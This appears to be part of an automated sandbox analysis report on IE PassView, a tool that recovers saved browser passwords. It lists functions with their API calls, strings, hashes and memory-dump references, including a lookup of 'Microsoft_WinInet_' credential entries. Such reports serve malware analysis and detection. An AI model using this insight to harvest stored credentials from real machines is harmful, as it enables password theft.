SendMessageA.USER32(?,00001003,00000001,?), ref: 00409B00
SendMessageA.USER32(?,00001003,00000000,?), ref: 00409B35
GetModuleHandleA.KERNEL32(00000000), ref: 00409B51
LoadImageA.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00409B64
GetModuleHandleA.KERNEL32(00000000), ref: 00409B70
LoadImageA.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00409B83
GetSysColor.USER32(0000000F), ref: 00409B97
DeleteObject.GDI32(?), ref: 00409BCB
DeleteObject.GDI32(00000000), ref: 00409BCE
SendMessageA.USER32(00000000,00001208,00000000,?), ref: 00409BEC

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: MessageSend$DeleteHandleImageLoadModuleObject$Color
String ID:
API String ID: 3376742181-0
Opcode ID: 67b3fc5b3893174d1452885769811962b82f4d2bc43bed66222c9b5c4566237a
Instruction ID: 8d2c33ce65e6e93bbc9177c73148a2639eedd03895a0f911b98c468d623f8299
Opcode Fuzzy Hash: 67b3fc5b3893174d1452885769811962b82f4d2bc43bed66222c9b5c4566237a
Instruction Fuzzy Hash: F5312F71680304BFF6315B719D5BFDBB7A9EB48B00F100829F3997A1D1CAF278509A29

Function 00401ABC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 195stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00401AC8
abs.MSVCRT ref: 00401BC8
abs.MSVCRT ref: 00401BFF
log.MSVCRT ref: 00401CAE
log.MSVCRT ref: 00401CC0
free.MSVCRT ref: 00401CE1
free.MSVCRT ref: 00401CF5

Strings

, xrefs: 00401AF6

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: free$strlen
String ID:
API String ID: 667451143-3916222277
Opcode ID: 25729e0cbf5ad53b8184dd575ad71ef6ef6561c60da3ae3b3689f997bb90a737
Instruction ID: eecc0934a3517d3ddcdb0937f2aecce29c8d7b695a5b4c66c4de19851d668ad5
Opcode Fuzzy Hash: 25729e0cbf5ad53b8184dd575ad71ef6ef6561c60da3ae3b3689f997bb90a737
Instruction Fuzzy Hash: 5D61573080C3459BDB249F25958446BBBF0FB85319F505D7FF4D6A22A1D739E84A8B0B

Function 00407520 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 103stringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040755F
_mbscpy.MSVCRT(004121F8,strings,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040759D

Part of subcall function 004079B7: _itoa.MSVCRT ref: 004079D8

strlen.MSVCRT ref: 004075BB
GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 004075C9
LoadStringA.USER32(00000000,00000006,?,?), ref: 004075F4
memcpy.MSVCRT(00000000,00000001), ref: 00407633

Part of subcall function 0040749E: ??2@YAPAXI@Z.MSVCRT(00008000,0040752E,004027DA,IE PassView), ref: 004074C6
Part of subcall function 0040749E: ??2@YAPAXI@Z.MSVCRT(00000000,00008000,0040752E,004027DA,IE PassView), ref: 004074E4
Part of subcall function 0040749E: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00008000,0040752E,004027DA,IE PassView), ref: 00407502
Part of subcall function 0040749E: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00008000,0040752E,004027DA,IE PassView), ref: 00407512

Strings

strings, xrefs: 00407593
<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00407534

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@$HandleModule$LoadString_itoa_mbscpymemcpystrlen
String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$strings
API String ID: 2720128018-4125592482
Opcode ID: 2aa69879c5b011a083883b1db7165153c19e66f696278c2f2b28a7a3b07e28df
Instruction ID: fb2b10d7110c983e17de72fb39963645640201e5a887eeac91649e02a4ff43f4
Opcode Fuzzy Hash: 2aa69879c5b011a083883b1db7165153c19e66f696278c2f2b28a7a3b07e28df
Instruction Fuzzy Hash: 0B31B170914502ABD718CF68EF40EB13375F744348B10853EE852E72A2DBB9B821CB1D

Function 00402173 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

wcsstr.MSVCRT ref: 00402196
wcsstr.MSVCRT ref: 004021AC
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 004021EA
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00402200
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 00402216
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,000000FF,00000000,00000000), ref: 0040222B

Strings

microsoft_wininet_, xrefs: 00402190
Microsoft_WinInet_, xrefs: 004021A6

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ByteCharMultiWide$wcsstr
String ID: Microsoft_WinInet_$microsoft_wininet_
API String ID: 1878082614-2466264047
Opcode ID: 41231355ded2f497d01e705dfffcba8f40f154eeb1d2e485cd79e378f1fdc991
Instruction ID: 221f4b76ed72acdf7a56df693a9159ee713d33e5712e317dd6bba9da51bfd115
Opcode Fuzzy Hash: 41231355ded2f497d01e705dfffcba8f40f154eeb1d2e485cd79e378f1fdc991
Instruction Fuzzy Hash: 5C3146B6904118BFDB10DF99DCC5E9A77FCEB08364F1046AAB518F32D1D634AE408B64

Function 00406914 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97stringfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,?,;k@,00406AA3,?,?,;k@,?), ref: 00406934

Part of subcall function 00405CBC: SetFilePointer.KERNEL32(?,?,00000000,00000000,?,00406955,00000000,00000000,?,00000020,?,;k@,00406AA3,?,?,;k@), ref: 00405CC9

GetFileSize.KERNEL32(00000000,00000000), ref: 00406964

Part of subcall function 00406883: _memicmp.MSVCRT ref: 0040689D
Part of subcall function 00406883: memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,;k@,?), ref: 004068B4

memcpy.MSVCRT(?,?,00000004,00000000,?,?,?), ref: 004069A7
strchr.MSVCRT ref: 004069CC
strchr.MSVCRT ref: 004069DD
_strlwr.MSVCRT ref: 004069EB
CloseHandle.KERNEL32(00000000), ref: 00406A1D

Strings

;k@, xrefs: 00406914

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwr
String ID: ;k@
API String ID: 4244813814-665460895
Opcode ID: 3410370ad32c9d4de045059b5ad17b520df0b79d9fba2ef42f2fb680907535ef
Instruction ID: 0c70c8e6fbfe2c3a98432151b0775178d8653de44996378fb7d39e0ef779b4ec
Opcode Fuzzy Hash: 3410370ad32c9d4de045059b5ad17b520df0b79d9fba2ef42f2fb680907535ef
Instruction Fuzzy Hash: 0C31C7B1900118BFEB11EB95DC85AEE77BCEB05354F10807AF509F61C1D6389E548B69

Function 00403F00 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(comctl32.dll), ref: 00403F1F
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00403F31
FreeLibrary.KERNEL32(00000000), ref: 00403F45
MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00403F70

Strings

Error, xrefs: 00403F65
comctl32.dll, xrefs: 00403F08
Error: Cannot load the common control classes., xrefs: 00403F6A
InitCommonControlsEx, xrefs: 00403F2B

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 20fedd965ce86ee55ee3df6d6bbd08f0b6f3b31df7e532facff727d16d68ce21
Instruction ID: e6b3c2a68b509e593394b2d7662e1df3b50a3b5230e54d80e03e1d0a70b7e3ce
Opcode Fuzzy Hash: 20fedd965ce86ee55ee3df6d6bbd08f0b6f3b31df7e532facff727d16d68ce21
Instruction Fuzzy Hash: 8E01D6B1B542126BE7116FB69C49B6B7EACDB40746B004835F206F11C0DAB8DA05836D

Function 004053F1 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarystringwindowCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(netmsg.dll,00000000,00000002), ref: 00405416
FormatMessageA.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000), ref: 00405434
strlen.MSVCRT ref: 00405441
_mbscpy.MSVCRT(?,?,?,00000400,?,00000000,00000000), ref: 00405451
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 0040545B
_mbscpy.MSVCRT(?,Unknown Error,?,00000400,?,00000000,00000000), ref: 0040546B

Strings

Unknown Error, xrefs: 00405463
netmsg.dll, xrefs: 00405411

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: _mbscpy$FormatFreeLibraryLoadLocalMessagestrlen
String ID: Unknown Error$netmsg.dll
API String ID: 2881943006-572158859
Opcode ID: f721cc2d38dd59c01ce3eeb84e35142f2e787372eaa94605a12a8c02df4ffc6b
Instruction ID: 780582968d839c517e208e6dc7c127c2c37749bd79845ccb932b079bb69e2106
Opcode Fuzzy Hash: f721cc2d38dd59c01ce3eeb84e35142f2e787372eaa94605a12a8c02df4ffc6b
Instruction Fuzzy Hash: 52012B31504124BBE7242B62EC4AFDF7B2CDF04796F20843AF501B11D0DA796E50DAAC

Function 004083BC Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081B7
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081C5
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081D6
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081ED
Part of subcall function 004081AB: ??3@YAXPAX@Z.MSVCRT(?,?,?,004083D6), ref: 004081F6

??2@YAPAXI@Z.MSVCRT(00000000), ref: 004083FD
??2@YAPAXI@Z.MSVCRT(00000000,00000000), ref: 00408419
memcpy.MSVCRT(?,00411890,00000014), ref: 00408441
memcpy.MSVCRT(?,0041187C,00000010,?,00411890,00000014), ref: 0040845E
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004084E7
??2@YAPAXI@Z.MSVCRT(0000000C,00000000), ref: 004084F1
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00408529

Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040755F
Part of subcall function 00407520: LoadStringA.USER32(00000000,00000006,?,?), ref: 004075F4
Part of subcall function 00407520: memcpy.MSVCRT(00000000,00000001), ref: 00407633

Part of subcall function 00407520: _mbscpy.MSVCRT(004121F8,strings,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 0040759D
Part of subcall function 00407520: strlen.MSVCRT ref: 004075BB
Part of subcall function 00407520: GetModuleHandleA.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,004027DA,IE PassView), ref: 004075C9

Strings

$, xrefs: 004084B1
d, xrefs: 00408508

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@??3@$memcpy$HandleModule$LoadString_mbscpystrlen
String ID: $$d
API String ID: 388234355-2066904009
Opcode ID: 2fce070b17f5a660c87dd23a172e0407e34b37c71a1e881ab68f4cc6ffd329e7
Instruction ID: dc56f8c129f481b0dd62ad421b394fb76c497c747426203c51168f4f8d00e949
Opcode Fuzzy Hash: 2fce070b17f5a660c87dd23a172e0407e34b37c71a1e881ab68f4cc6ffd329e7
Instruction Fuzzy Hash: 13518AB1A01704AFD724DF29C981B9ABBF4BF48314F10852EE59ADB391EB74E940CB44

Function 0040D0C2 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 60COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,",00000006,?,?,00000000,004091CC,?,?), ref: 0040D0F2
memcpy.MSVCRT(?,&,00000005,?,?,00000000,004091CC,?,?), ref: 0040D118
memcpy.MSVCRT(?,<,00000004,?,?,00000000,004091CC,?,?), ref: 0040D130

Strings

&, xrefs: 0040D112
<br>, xrefs: 0040D12A
<, xrefs: 0040D0D3
>, xrefs: 0040D0DF
", xrefs: 0040D0EC
°, xrefs: 0040D105

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: b53453093a91a2bd40d54fb5dcbadfb278f82bfd0d1c808de773c38b7fa42392
Instruction ID: 8d1a721b06f3ef9d69305db24848b834247efd1fec95164425edd42bfaaf8daa
Opcode Fuzzy Hash: b53453093a91a2bd40d54fb5dcbadfb278f82bfd0d1c808de773c38b7fa42392
Instruction Fuzzy Hash: DF01A2F2E8429475DB3110C61C06FB71A555BB7B24E75003BF9C9386C6A8BE088F91AF

Function 00402A08 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

Part of subcall function 00405476: CreateFileA.KERNELBASE(00000003,80000000,00000001,00000000,00000003,00000000,00000000,00402A1C,9+@,00000001,00000000,?,00402B39), ref: 00405488

GetFileSize.KERNEL32(00000000,00000000,00000001,00000000,?,00402B39), ref: 00402A2C
??2@YAPAXI@Z.MSVCRT(00000001,?,00402B39), ref: 00402A46

Part of subcall function 00405C7E: ReadFile.KERNEL32(00000000,00000000,00402A58,00000000,00000000,00000001,9+@,00402A58,00000000,00000000), ref: 00405C95

memcmp.MSVCRT(00000000,?,00000005,?,?,?,?,00402B39), ref: 00402A7A
memcmp.MSVCRT(0000000C,00000001,00000005,?,?,?,?,?,?,?,00402B39), ref: 00402A97
??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,00402B39), ref: 00402ABD
CloseHandle.KERNEL32(00000000,?,00402B39), ref: 00402AC6

Strings

9+@, xrefs: 00402A14

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: File$memcmp$??2@??3@CloseCreateHandleReadSize
String ID: 9+@
API String ID: 7797768-3562519540
Opcode ID: 2b7e516e48c429a51e6f156abf3eed591b1d8f4c21f64f567d49faeb7356c2f7
Instruction ID: d632cf90474aa45c018bec6463a2574c5a954da09c684a606b26d43efe75a2a7
Opcode Fuzzy Hash: 2b7e516e48c429a51e6f156abf3eed591b1d8f4c21f64f567d49faeb7356c2f7
Instruction Fuzzy Hash: DD21D871900208BADB109B75DC49B9F7BAC9F10318F14817AFC05F62C2E7749A48CAA5

Function 00407C19 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407C3F
GetDlgCtrlID.USER32(?), ref: 00407C4A
GetWindowTextA.USER32(?,?,00001000), ref: 00407C5D
memset.MSVCRT ref: 00407C83
GetClassNameA.USER32(?,?,000000FF), ref: 00407C96
_strcmpi.MSVCRT ref: 00407CA8

Part of subcall function 00407AF1: _itoa.MSVCRT ref: 00407B12

Strings

sysdatetimepick32, xrefs: 00407CA2

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: memset$ClassCtrlNameTextWindow_itoa_strcmpi
String ID: sysdatetimepick32
API String ID: 3411445237-4169760276
Opcode ID: 70858a5686a83ca73d16e525b2de2590a93d48c2ec5b21909403165946aeb95a
Instruction ID: 17534c4f124164a7f414e19630819eabf2b16663dbddf6454363a62207f4d036
Opcode Fuzzy Hash: 70858a5686a83ca73d16e525b2de2590a93d48c2ec5b21909403165946aeb95a
Instruction Fuzzy Hash: E811CAB2C0811D6EEB15A755DC81DEA7BACEF14355F0400BBFA08F3151E674AE848B65

Function 00405050 Relevance: 12.2, APIs: 8, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 004050F8
GetDlgItem.USER32(?,000003E9), ref: 0040510B
GetDlgItem.USER32(?,000003E9), ref: 00405120
GetDlgItem.USER32(?,000003E9), ref: 00405138
EndDialog.USER32(?,00000002), ref: 00405154
EndDialog.USER32(?,00000001), ref: 00405167

Part of subcall function 00404E01: GetDlgItem.USER32(?,000003E9), ref: 00404E0F
Part of subcall function 00404E01: GetDlgItemInt.USER32(?,000003ED,00000000,00000000), ref: 00404E24
Part of subcall function 00404E01: SendMessageA.USER32(?,00001032,00000000,00000000), ref: 00404E40

SendDlgItemMessageA.USER32(?,000003ED,000000C5,00000003,00000000), ref: 0040517F
SetDlgItemInt.USER32(?,000003ED,?,00000000), ref: 0040528B

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Item$DialogMessageSend
String ID:
API String ID: 2485852401-0
Opcode ID: 9e37208e1ac624ff015cc8e23fc7f15464607b37513521ea11ea388b8c8f7f62
Instruction ID: 772c1af3226cbc80ad889adf0027262ed51c140b767d915fdd2215fad93927ef
Opcode Fuzzy Hash: 9e37208e1ac624ff015cc8e23fc7f15464607b37513521ea11ea388b8c8f7f62
Instruction Fuzzy Hash: 8461C730500A05AFDB21AF25C886B2BB7A5FF50724F00C23EF915AA6D1D778A950CF95

Function 0040529B Relevance: 12.1, APIs: 8, Instructions: 103windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(0000000C), ref: 004052AC
??3@YAXPAX@Z.MSVCRT(00000000), ref: 004052C8
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004052EF
memset.MSVCRT ref: 00405300
??2@YAPAXI@Z.MSVCRT(00000000,?), ref: 0040532F
InvalidateRect.USER32(?,00000000,00000000,?,?,?,?), ref: 0040537C
SetFocus.USER32(?,?,?,?), ref: 00405385
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00405393

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: ??2@$??3@$FocusInvalidateRectmemset
String ID:
API String ID: 2313361498-0
Opcode ID: ffda32b987b975e76c272f98d077908fce1f9b3e3661f9b97b05ec55d3a69eb9
Instruction ID: fcb6e9a3e2539a50ad56ef20c263cb5018baa505a50de7ca275cb4eb460b5b6e
Opcode Fuzzy Hash: ffda32b987b975e76c272f98d077908fce1f9b3e3661f9b97b05ec55d3a69eb9
Instruction Fuzzy Hash: DF3192B2900605AFDB289F69C88592BB7A8FF04354B10853FF559E72E1DB74AC508F98

Function 0040A35E Relevance: 12.1, APIs: 8, Instructions: 76COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0040A37D
GetWindowRect.USER32(?,?), ref: 0040A393
GetWindowRect.USER32(?,?), ref: 0040A3A6
BeginDeferWindowPos.USER32(00000003), ref: 0040A3C3
